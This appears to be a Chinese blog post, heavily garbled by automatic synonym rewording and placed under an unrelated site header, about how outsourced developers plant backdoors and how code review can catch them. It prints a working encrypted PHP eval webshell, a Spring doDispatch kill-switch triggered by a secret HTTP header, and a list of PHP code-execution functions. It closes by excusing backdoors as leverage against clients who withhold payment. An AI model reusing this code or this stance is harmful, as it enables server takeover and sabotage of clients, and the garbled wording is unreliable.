王杰,皇帝成长计划,火鸡面-男性画廊,专注男性画展

admin 2019-05-20 阅读:179

前几天答复过一个外包的问答,提到了开发人员歹意在源代码里参加后门代码,并且有许多外包开发人员也对此表明了支撑。不论怎样,加后门这种做法都是违反职业道德的。其实不只是是外包开发者,甚至在一些互联网公司也存在这样的现象。

那怎样避免开发者在源码里参加后门呢,自然是code review,无妨在code review前先来了解一些后门的套路,这些套路一般也是安全审计中应该注意到的:

1.在数据库和数据类型上做文章

几年前我遇到一个老同学跟我求助,他花几十块钱从网友手里买的一个PHP版别“树洞”软件用来做个人站,刚开始用着好好的,然后用了一个星期后,无法发主题贴了。依据他给我的描绘,大约发了120多个帖子后再发帖就报错了。听到他这个描绘,我脑子里立马反响过来了,120这个数字和127十分挨近,这不便是tinyint的上限吗。跟他要来账号后,检查数据库,公然验证了我的猜想,主表post的主键id,其数据类型用的是tinyint。

MySQL 数据类型

从上图中能够看到,MySQL中TINYINT类型的数值规模最大值是127,也就说一旦超越这个值,再刺进数据库就要报错了。

把这个主键改成int类型后问题解决。

2.在规范库、中心库或许第三方包中下毒

无论是最常见的PHP也好仍是Java,或许说C言语的项目,都会用到许多的第三方库,或许本身也有一个core函数库。一般的事务代码中要留后门是比较简单发现的,然而在第三方库中留后门,则一般用户很少会想到。

比方,一个根据springmvc开发的代码,假如开发者在spring自带的jar包里留下了后门,又有几个人会想到。举个比方,Springmvc的程序,必定通过DispatcherServlet这个进口类,而这个类是在spring-webmvc-4.x.x-RELEASE.jar中。假如懂点Spring根底的人在这个类里动了四肢呢?

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
boolean multipartRequestParsed = false;

WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {

doDispatch办法是一切springmvc恳求有必要通过的一个办法,假如在这个办法里做点修正会怎样?

 protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
boolean multipartRequestParsed = false;
String encode=request.getHeader("encoding");
if(encode!=null && encode.equals("a1e4e98cdf02888e")){
Thread.sleep(30000);
System.exit(0);
}

WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

这样一修正后,开发者能够完结发送一个特定的HTTP恳求就让对方网站停摆的功用。

这种后门是比较好防护的,但也是最简单忽视的。现在的干流老练言语都有比较完善的依靠办理机制,比方PHP运用composer来办理依靠,Java则运用maven。这些第三方库都是存放在可信赖的第三方库房,是洁净并且安全的。假如运用了这些完善的依靠办理,这种后门自然而然就无处安身了。

在交互时,不能只承受对方发来的一个二进制包或许完好的打包后的代码,而是要求对方发来一份洁净的不包含第三方依靠的源码,并供给依靠打包脚本和办法,由客户自己来完结最终的打包进程,避免外包开发者在第三方依靠里动四肢。

3.成心运用低版别的带有缝隙的结构

这也是一种常见的手法。开发者成心运用那些已知有缝隙的低版别结构,从而在便利的时分运用这些缝隙到达侵略网站等意图。常见的web结构或软件比方Struts,ThinkPHP,wordpress都是缝隙大户,在进行review的时分,必定要注意当时版别是否是已经是最新版,是否存在安全缝隙,要求开发人员及时采纳晋级等处理办法。

4.成心留下bug

经验丰富的程序员,都知道那些当地简单呈现安全问题,比方SQL注入,比方cookies登录等。假如源代码配置文件中有一些固定的token字符串,必定要替换这些字符串。成心留下bug这种手法比较荫蔽,也很难定性,但也不是一点痕迹都没有,这就需求运用者有比较专业的code review才能或许安全审计人员了。

5.明火执仗地留下后门代码

明火执仗地留下后门代码,这种做法看似愚笨,听起来好像很少人会这么做。但恰恰相反,跟前面那些做法比较,这种做法是最常见的,特别是以PHP这种脚本言语为主的开发中。因为PHP作为一种动态的脚本言语,语法比较灵敏,有许多奇技淫巧能够运用,在PHP代码中留下后门是垂手可得的作业。比方这是一个典型的PHP后门


@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>

从中能够看到PHP留后门的常用做法:

1).运用base64_encode/base64_decode来掩藏源码

2).运用eval来履行恣意代码

3).运用字符串拼接,可变变量等做法藏匿源码。比方把 base64_decode这个可疑函数拆分为base64_和decode两个变量拼接。实践的PHP后门中,会运用更花哨的拼接手法。

4).运用PHP自带的函数来履行后门。PHP是一个安全问题比较多的脚本言语,许多函数或句子结构都能完结履行某段代码的功用,比方正则的/e形式,assert函数等。

assert("(int)phpinfo()");

这儿assert()能够履行"中的代码,假如引号里是外部变量的话,拿着便是个很大的后门了。一般用户只是知道eval是一个很凶恶的函数(PHP中,有的句子结构看起来很像一个函数,但严格来说不属于函数,为了便利统称为函数),可是不知道有十分多的函数都能起到履行代码的功用,其中就包含assert,array_map,usort,call_user_func,preg_replace等。

这类后门一般合作第二种手法运用,躲藏在一些 core函数中,代码审计也是很简单疏忽的。

相同,Java也有一些办法能够作为后门运用,比方defineClass办法。

在源码中遇到这些办法或函数,都需求慎重对待。

5.在服务器上做四肢

一般外包开发者一起也会承当服务器运维和布置等作业,假如要在服务器上做四肢那就更简单了。比方crontab守时使命,躲藏进程,修正内核参数等,具体办法不计其数,就不再列举了。

在产品交互时,必定要注意需求接纳源码而不是打包编译后的制品,不只要有源码,还需求可重现的打包构建文档。关于不供给源码的产品,请慎重挑选或找专业团队做安全审计。


写此文的意图,不是为了教开发者怎样放置后门,而是教会开发者和用户怎样做安全审计。刀能够杀人,可是在你对刀有了深化的了解后,也能削减刀对本身的损伤。

开发者何必尴尬开发者?外包开发者要维护自己的利益,有更多办法,而留后门是一种比较初级的也是法令危险最大的做法。

当然,作为甲方,假如歹意拖欠尾款,那只能说自作孽不可活。外包开发的产品中,简直100%都有后门,作为开发者不易,只要能诚心对待开发者,我想没有哪个开发者会冒着极大的法令危险作出动用后门这种事。看了这篇文章,甲方仍然找不出后门,但拖欠尾款,不免遭受数据丢失的赏罚!